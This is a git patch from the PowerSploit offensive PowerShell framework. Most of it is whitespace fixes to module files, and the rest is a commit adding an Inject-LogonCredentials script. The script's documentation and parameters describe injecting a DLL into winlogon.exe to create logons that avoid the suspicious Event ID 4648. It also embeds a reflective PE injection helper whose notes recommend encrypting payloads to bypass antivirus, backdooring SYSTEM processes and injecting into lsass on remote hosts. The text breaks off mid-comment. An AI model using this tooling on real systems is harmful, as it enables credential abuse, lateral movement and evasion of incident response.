-957,4 +957,4 @@ PROCESS { } -} \ No newline at end of file +} diff --git a/PETools/PETools.format.ps1xml b/PETools/PETools.format.ps1xml index 17d2c56f..c5102818 100644 --- a/PETools/PETools.format.ps1xml +++ b/PETools/PETools.format.ps1xml @@ -371,4 +371,4 @@ - \ No newline at end of file + diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 index 28a60b91..ef470a7d 100644 --- a/PETools/PETools.psd1 +++ b/PETools/PETools.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'PETools.psm1' @@ -86,4 +86,4 @@ FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoad # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/PETools/PETools.psm1 b/PETools/PETools.psm1 index e5234fbe..81d38186 100644 --- a/PETools/PETools.psm1 +++ b/PETools/PETools.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Persistence/Add-Persistence.ps1 b/Persistence/Add-Persistence.ps1 index cd04fbf8..27d7ba76 100644 --- a/Persistence/Add-Persistence.ps1 +++ b/Persistence/Add-Persistence.ps1 @@ -1,4 +1,4 @@ -function Add-Persistence +function Add-Persistence { <# .SYNOPSIS @@ -397,4 +397,4 @@ $UserTriggerRemoval } #endregion -} \ No newline at end of file +} diff --git a/Persistence/New-ElevatedPersistenceOptions.ps1 b/Persistence/New-ElevatedPersistenceOptions.ps1 index 4e11deed..5e042862 100644 --- a/Persistence/New-ElevatedPersistenceOptions.ps1 +++ b/Persistence/New-ElevatedPersistenceOptions.ps1 @@ -1,4 +1,4 @@ -function New-ElevatedPersistenceOptions +function New-ElevatedPersistenceOptions { <# .SYNOPSIS @@ -167,4 +167,4 @@ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions' Write-Output $PersistenceOptions -} \ No newline at end of file +} diff --git a/Persistence/New-UserPersistenceOptions.ps1 b/Persistence/New-UserPersistenceOptions.ps1 index 9672c2e1..3b33ffa5 100644 --- a/Persistence/New-UserPersistenceOptions.ps1 +++ b/Persistence/New-UserPersistenceOptions.ps1 @@ -1,4 +1,4 @@ -function New-UserPersistenceOptions +function New-UserPersistenceOptions { <# .SYNOPSIS @@ -125,4 +125,4 @@ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions' Write-Output $PersistenceOptions -} \ No newline at end of file +} diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index 21a78715..de976978 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Persistence.psm1' @@ -34,4 +34,4 @@ ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = ' FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1', 'New-UserPersistenceOptions.ps1', 'Usage.md' -} \ No newline at end of file +} diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 4478ee1b..04f36be3 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -1,3 +1,3 @@ -. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) +. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) . (Join-Path $PSScriptRoot New-UserPersistenceOptions.ps1) -. (Join-Path $PSScriptRoot Add-Persistence.ps1) \ No newline at end of file +. (Join-Path $PSScriptRoot Add-Persistence.ps1) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 8c7f939f..54156d2c 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'PowerSploit.psm1' @@ -93,4 +93,4 @@ FileList = 'PowerSploit.psd1', 'PowerSploit.psm1' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 430c1b85..5ea3b627 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName } \ No newline at end of file +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName } diff --git a/Recon/Get-HttpStatus.ps1 b/Recon/Get-HttpStatus.ps1 index fde3d262..8b60306d 100644 --- a/Recon/Get-HttpStatus.ps1 +++ b/Recon/Get-HttpStatus.ps1 @@ -137,4 +137,4 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html Write-Output $ScanObject } -} \ No newline at end of file +} diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index ab03734e..99bbb895 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -1,4 +1,4 @@ -function Invoke-Portscan +function Invoke-Portscan { <# .SYNOPSIS diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 43ba3a18..88287ef0 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Recon.psm1' @@ -72,9 +72,9 @@ AliasesToExport = '' # List of all modules packaged with this module. ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) -# List of all files packaged with this module +# List of all files packaged with this module FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', - 'Invoke-Portscan.ps1', 'Usage.md' + 'Invoke-Portscan.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' @@ -85,4 +85,4 @@ FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsL # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/Recon/Recon.psm1 b/Recon/Recon.psm1 index e5234fbe..81d38186 100644 --- a/Recon/Recon.psm1 +++ b/Recon/Recon.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ReverseEngineering/ConvertTo-String.ps1 b/ReverseEngineering/ConvertTo-String.ps1 index ab46c74f..1c030b49 100644 --- a/ReverseEngineering/ConvertTo-String.ps1 +++ b/ReverseEngineering/ConvertTo-String.ps1 @@ -1,4 +1,4 @@ -filter ConvertTo-String +filter ConvertTo-String { <# .SYNOPSIS @@ -67,4 +67,4 @@ http://www.exploit-monday.com $FileStream.Close() Write-Output $BinaryText -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml index 3c610ccc..21115d6c 100644 --- a/ReverseEngineering/Get-ILDisassembly.format.ps1xml +++ b/ReverseEngineering/Get-ILDisassembly.format.ps1xml @@ -1,4 +1,4 @@ - + @@ -43,4 +43,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index af0c2a16..f2022e39 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -212,4 +212,4 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf # Adjust the position in the opcode array accordingly $Position += $OperandLength } -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-MethodAddress.ps1 b/ReverseEngineering/Get-MethodAddress.ps1 index 4a488cfd..1ab0d417 100644 --- a/ReverseEngineering/Get-MethodAddress.ps1 +++ b/ReverseEngineering/Get-MethodAddress.ps1 @@ -1,4 +1,4 @@ -function Get-MethodAddress +function Get-MethodAddress { <# .SYNOPSIS @@ -117,4 +117,4 @@ http://www.exploit-monday.com/2012/11/Get-MethodAddress.html { Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." } -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml index 41b5280b..fa3ed414 100644 --- a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml +++ b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml @@ -437,4 +437,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/Get-NtSystemInformation.ps1 b/ReverseEngineering/Get-NtSystemInformation.ps1 index bb0871a8..2bde8f6e 100644 --- a/ReverseEngineering/Get-NtSystemInformation.ps1 +++ b/ReverseEngineering/Get-NtSystemInformation.ps1 @@ -1,4 +1,4 @@ -function Get-NtSystemInformation +function Get-NtSystemInformation { <# .SYNOPSIS diff --git a/ReverseEngineering/Get-PEB.format.ps1xml b/ReverseEngineering/Get-PEB.format.ps1xml index 3d075eb8..59b5362e 100644 --- a/ReverseEngineering/Get-PEB.format.ps1xml +++ b/ReverseEngineering/Get-PEB.format.ps1xml @@ -1207,4 +1207,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/Get-PEB.ps1 b/ReverseEngineering/Get-PEB.ps1 index 86e064d6..7ec5089d 100644 --- a/ReverseEngineering/Get-PEB.ps1 +++ b/ReverseEngineering/Get-PEB.ps1 @@ -1,4 +1,4 @@ -function Get-PEB +function Get-PEB { <# .SYNOPSIS @@ -1089,4 +1089,4 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx END{} -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-Strings.ps1 b/ReverseEngineering/Get-Strings.ps1 index 7acb9f1e..2cb971c8 100644 --- a/ReverseEngineering/Get-Strings.ps1 +++ b/ReverseEngineering/Get-Strings.ps1 @@ -1,4 +1,4 @@ -function Get-Strings +function Get-Strings { <# .SYNOPSIS @@ -95,4 +95,4 @@ http://www.exploit-monday.com } } END {} -} \ No newline at end of file +} diff --git a/ReverseEngineering/Get-StructFromMemory.ps1 b/ReverseEngineering/Get-StructFromMemory.ps1 index c32c1901..68f7651f 100644 --- a/ReverseEngineering/Get-StructFromMemory.ps1 +++ b/ReverseEngineering/Get-StructFromMemory.ps1 @@ -1,4 +1,4 @@ -function Get-StructFromMemory +function Get-StructFromMemory { <# .SYNOPSIS @@ -200,4 +200,4 @@ http://www.exploit-monday.com $SafeHandle.Close() Write-Output $ParsedStruct -} \ No newline at end of file +} diff --git a/ReverseEngineering/New-Object.ps1 b/ReverseEngineering/New-Object.ps1 index 77b24f68afdb54543c21b0a8c5fcd4086b06fa2a..52c38c8d21cfaa517cf2b19688ced8df3badf32f 100644 GIT binary patch literal 2189 zcmb_eZEM>w5dI#>fAFYT97xT&k7XH4(w7DL5=iNn5Qb`BQf;x`R}{)ODef3 zv~2ofMZSCPo_kIguW}I?E`@gko8#Mu-w>H@XWQ*~xE7N%PQZ-0h`Cq?XRu;b*;dpBTu{bl8o(c7Tfml%8VV83%52i`RkF*8yXL*J+z2Hs3+PB{&~G^iz# zHVV_ItSnPS&(M0tQU7nMGBYY{(egX1dJwT!_#z6YhL6TdcYWMov~Sw3{+%iN6f)e4k1 z^n8&g$&2*#p0B*XpUuZI7xBL5baDz3=up5m!4*q1GISjY&)+DPWf0@Ap+cNLLzGinO{6gJ zY{IE{l79fROL0zwC}F(~aPBlCi&U&T6sHMW16_@9lpC2c!U}62nim>tSq-+9&}A|@ zQam$NF5Ayeaz9@6RJ$}4f`Ke!4++e81_>8HtoE=(VBWR}{InpNSXwLDTgCC(989te z5RU1FQP&@2W+}L<^lRTK^Qh$JMVs0IAJti=WCU7QKP0WowyHT^1u87Ed(i zss0L>fvM1ji3oxP>4L{t8`@ncnNF_e)3czw1N{N^Ydupee2Wy6twm92wE`cQAY|p^ zY;|=CF$l2?{9jfWvVEgy^r}_3()#T>f`|{+@RR?(BEFx?xhN+E<K5dYWzIQvQ=U;>9Jrw`| literal 4376 zcmd5=?@t;*5S`CW`afJFsgP7s`?0A_m8vySA;I*^g)|5!r3ED1sU?Pgz3qFujK^|& z$C+r_5ZJxF-TCom=I!X8-&b-Y6X{7JL%GH*kaLOTPIjazm+}L1zI!Pz6B{*mE`lwo4vbpnR4(k$zcALa%6TX=tMYGnos=CGlb zsgz5^VgRWVr+!@4Qok+#?0|<-zs{hc4;cZt?<>X`;-Z}RE~8B)@%$WT{Cad(1+s6T z>j1x3_)vNPjtRgr6T^}t$7(&N;}B;81ea4NM~7$RcqEV=Gx}$VFa># zy`58=YQIHZpVr5oxmU?BPvPOF2(s^BjBN~yG^(8ya3K4WsbQG@va`{QIFw(I)iaf2 z`GEK^XCk~w44X~l7HdDTVzC=T8tb!;%wQF|tE@y{m!-Ana;WW1y5Kh6H8xx8xT9Ff zyxG~aSi97plP$JsI#MVOQC$=Q}mv({<^$n=qkaGngZ>lj>q0*Q>K&00UQO@oQOZOS9L z$$~nVUGFgE`tmXJqqzV!Y5i@wrxMgCZ`wO=WLypQX*GgVbG8Q`VtiKL_}MGH)$(fE zkF8&t=5UDGu-(S3sSWn?n*U^c)=Olf%)DZq(&8%qqS1P>yKUv_+L7^Xj2bw_4b1+9 z5mL6TnVysU>h>vq`&}H>Zf3Kxmageo>~XmsL}jt2H)o>tL}N)`zisFO9+zoqO>xHQ zE + @@ -33,4 +33,4 @@ - \ No newline at end of file + diff --git a/ReverseEngineering/ProcessModuleTrace.ps1 b/ReverseEngineering/ProcessModuleTrace.ps1 index 3eb57a78..85f71053 100644 --- a/ReverseEngineering/ProcessModuleTrace.ps1 +++ b/ReverseEngineering/ProcessModuleTrace.ps1 @@ -1,4 +1,4 @@ -function Register-ProcessModuleTrace +function Register-ProcessModuleTrace { <# .SYNOPSIS @@ -100,4 +100,4 @@ function Unregister-ProcessModuleTrace #> Unregister-Event -SourceIdentifier 'ModuleLoaded' -} \ No newline at end of file +} diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 index b7da3551..de364e1f 100644 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ b/ReverseEngineering/ReverseEngineering.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'ReverseEngineering.psm1' diff --git a/ReverseEngineering/ReverseEngineering.psm1 b/ReverseEngineering/ReverseEngineering.psm1 index 5bb81d32..81d38186 100644 --- a/ReverseEngineering/ReverseEngineering.psm1 +++ b/ReverseEngineering/ReverseEngineering.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ScriptModification/Out-CompressedDll.ps1 b/ScriptModification/Out-CompressedDll.ps1 index 3aa5c2bf..5e6897d9 100644 --- a/ScriptModification/Out-CompressedDll.ps1 +++ b/ScriptModification/Out-CompressedDll.ps1 @@ -1,4 +1,4 @@ -function Out-CompressedDll +function Out-CompressedDll { <# .SYNOPSIS @@ -78,4 +78,4 @@ $EncodedCompressedFile "@ Write-Output $Output -} \ No newline at end of file +} diff --git a/ScriptModification/Out-EncodedCommand.ps1 b/ScriptModification/Out-EncodedCommand.ps1 index cae47157..04e8c12d 100644 --- a/ScriptModification/Out-EncodedCommand.ps1 +++ b/ScriptModification/Out-EncodedCommand.ps1 @@ -1,4 +1,4 @@ -function Out-EncodedCommand +function Out-EncodedCommand { <# .SYNOPSIS @@ -181,4 +181,4 @@ http://www.exploit-monday.com } Write-Output $CommandLineOutput -} \ No newline at end of file +} diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index 3f090205..4fc69cfc 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -126,4 +126,4 @@ return $encoding.GetString($h,0,$h.Length); Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)" -} \ No newline at end of file +} diff --git a/ScriptModification/Remove-Comments.ps1 b/ScriptModification/Remove-Comments.ps1 index ec759278..45a97464 100644 --- a/ScriptModification/Remove-Comments.ps1 +++ b/ScriptModification/Remove-Comments.ps1 @@ -1,4 +1,4 @@ -function Remove-Comments +function Remove-Comments { <# .SYNOPSIS @@ -153,4 +153,4 @@ http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ } Write-Output ([ScriptBlock]::Create($StringBuilder.ToString())) -} \ No newline at end of file +} diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index 7393c293..d326c12c 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'ScriptModification.psm1' @@ -85,4 +85,4 @@ FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-Compressed # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/ScriptModification/ScriptModification.psm1 b/ScriptModification/ScriptModification.psm1 index 5bb81d32..81d38186 100644 --- a/ScriptModification/ScriptModification.psm1 +++ b/ScriptModification/ScriptModification.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} From 1503375bfbf0ee7ade498ea77444a4f1db4873e4 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Sun, 17 Nov 2013 21:13:15 -0800 Subject: [PATCH 020/365] Adding Inject-LogonCredentials --- Exfiltration/Exfiltration.psd1 | 2 +- Exfiltration/Inject-LogonCredentials.ps1 | 3413 +++++++++++++++++ .../LogonUser/LogonUser/LogonUser.sln | 26 + .../LogonUser/LogonUser/LogonUser.cpp | 137 + .../LogonUser/LogonUser/LogonUser.vcxproj | 158 + .../LogonUser/LogonUser.vcxproj.filters | 36 + .../LogonUser/LogonUser/LogonUser/ReadMe.txt | 40 + .../LogonUser/LogonUser/LogonUser/stdafx.cpp | 8 + .../LogonUser/LogonUser/LogonUser/stdafx.h | 20 + .../LogonUser/LogonUser/LogonUser/targetver.h | 8 + .../LogonUser/LogonUser/logon/ReadMe.txt | 48 + .../LogonUser/LogonUser/logon/dllmain.cpp | 19 + .../LogonUser/LogonUser/logon/logon.cpp | 258 ++ .../LogonUser/LogonUser/logon/logon.vcxproj | 176 + .../LogonUser/logon/logon.vcxproj.filters | 39 + .../LogonUser/LogonUser/logon/stdafx.cpp | 8 + .../LogonUser/LogonUser/logon/stdafx.h | 25 + .../LogonUser/LogonUser/logon/targetver.h | 8 + 18 files changed, 4428 insertions(+), 1 deletion(-) create mode 100644 Exfiltration/Inject-LogonCredentials.ps1 create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser.sln create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h create mode 100644 Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h create mode 100644 Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt create mode 100644 Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/logon/logon.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj create mode 100644 Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters create mode 100644 Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/logon/stdafx.h create mode 100644 Exfiltration/LogonUser/LogonUser/logon/targetver.h diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 5268eb25..aaddba11 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -75,7 +75,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', - 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1' + 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Inject-LogonCredentials.ps1' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Exfiltration/Inject-LogonCredentials.ps1 b/Exfiltration/Inject-LogonCredentials.ps1 new file mode 100644 index 00000000..56bf92f1 --- /dev/null +++ b/Exfiltration/Inject-LogonCredentials.ps1 @@ -0,0 +1,3413 @@ +function Inject-LogonCredentials +{ + <# + .SYNOPSIS + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + PowerSploit Function: Inject-LogonCredentials + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.0 + + .DESCRIPTION + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + .PARAMETER NewWinLogon + + Switch. Specifies that this script should create a new WinLogon.exe process. This may be suspicious, as log correlation can show winlogon.exe was + created by PowerShell.exe. + + .PARAMETER ExistingWinLogon + + Switch. Specifies that this script should use an existing WinLogon.exe process. This will leave behind code (a reflectively loaded DLL) in the process. + + .PARAMETER DomainName + + The domain name of the user account. + + .PARAMETER UserName + + The username to log in with. + + .PARAMETER Password + + The password of the user. + + .PARAMETER LogonType + + The logon type of the injected logon. Can be Interactive, RemoteInteractive, or NetworkCleartext + + .PARAMETER AuthPackage + + The authentication package to use. Default is Kerberos. Msv1_0 can be specified but should only be used for local accounts (which can't use kerberos). + + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (an RDP logon). Defaults to using the Kerberos provider. + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -ExistingWinLogon -LogonType NetworkCleartext + + Uses an existing winlogon process and creates a loogn from within it as demo\administrator. The logon will be type NetworkCleartext (used in basic auth + and PowerShell w/ CredSSP). Defaults to using the Kerberos provider. + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon -AuthPackage Msv1_0 + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (and RDP logon). The logon will use the Msv1_0 auth package (NTLM). + + .NOTES + Normally when you do a RunAS logon, the EventID 4648 will show your current account, current process, and the account you are logging in with. + Incident responders use this to look for lateral movement. They can see a random user logging in with high privilege credentials, which stands out. + This script allows you to create the logon from within winlogon.exe, as SYSTEM. This allows you to create 4648 event logs which make it appear that the + user logged in using RDP or logged in locally, rather than the logon showing up as a suspicious RunAS. Then you can use token kidnapping, such as the + Invoke-TokenManipulation script to kidnap the security token. This token can then be used to authenticate over the network for pivoting and other post + exploitation. + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell + + #> + + [CmdletBinding()] + Param( + [Parameter(ParameterSetName = "NewWinLogon", Position = 0)] + [Switch] + $NewWinLogon, + + [Parameter(ParameterSetName = "ExistingWinLogon", Position = 0)] + [Switch] + $ExistingWinLogon, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $DomainName, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $UserName, + + [Parameter(Position=3, Mandatory=$true)] + [String] + $Password, + + [Parameter()] + [ValidateSet("Interactive","RemoteInteractive", "NetworkCleartext")] + [String] + $LogonType = "RemoteInteractive", + + [Parameter()] + [ValidateSet("Kerberos","Msv1_0")] + [String] + $AuthPackage = "Kerberos" + ) + + Set-StrictMode -Version 2 + + + + + function Invoke-ReflectivePEInjection + { + <# + .SYNOPSIS + + This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, + or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, + please lead the Notes section (GENERAL NOTES) for information on how to use them. + + + 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. + Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + + This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, + this will load and execute the DLL/EXE in to memory without writing any files to disk. + + + 2.) Reflectively load a DLL in to memory of a remote process. + As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + + This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output + from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the + remote process. + + + While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array + containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will + bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba + blog linked below (thanks to whitey). + + PowerSploit Function: Invoke-ReflectivePEInjection + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.1 + + .DESCRIPTION + + Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + + .PARAMETER PEPath + + The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. + + .PARAMETER PEUrl + + A URL containing a DLL/EXE to load and execute. + + .PARAMETER ComputerName + + Optional, an array of computernames to run the script on. + + .PARAMETER FuncReturnType + + Optional, the return type of the function being called in the DLL. Default: Void + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + + .PARAMETER ExeArgs + + Optional, arguments to pass to the executable being reflectively loaded. + + .PARAMETER ProcName + + Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .PARAMETER ProcId + + Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .EXAMPLE + + Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). + Note that the file name on the website can be any file extension. + Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + + .EXAMPLE + + Load DemoEXE and run it locally. + Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" + + .EXAMPLE + + Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. + Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local + + .NOTES + GENERAL NOTES: + The script has 3 basic sets of functionality: + 1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. + 2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. + 3.) Reflectively inject a DLL 